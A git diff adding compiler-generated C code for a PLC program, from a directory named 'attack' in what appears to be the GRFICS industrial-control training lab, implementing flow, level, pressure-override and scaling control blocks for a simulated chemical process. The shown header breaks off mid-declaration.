(!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + 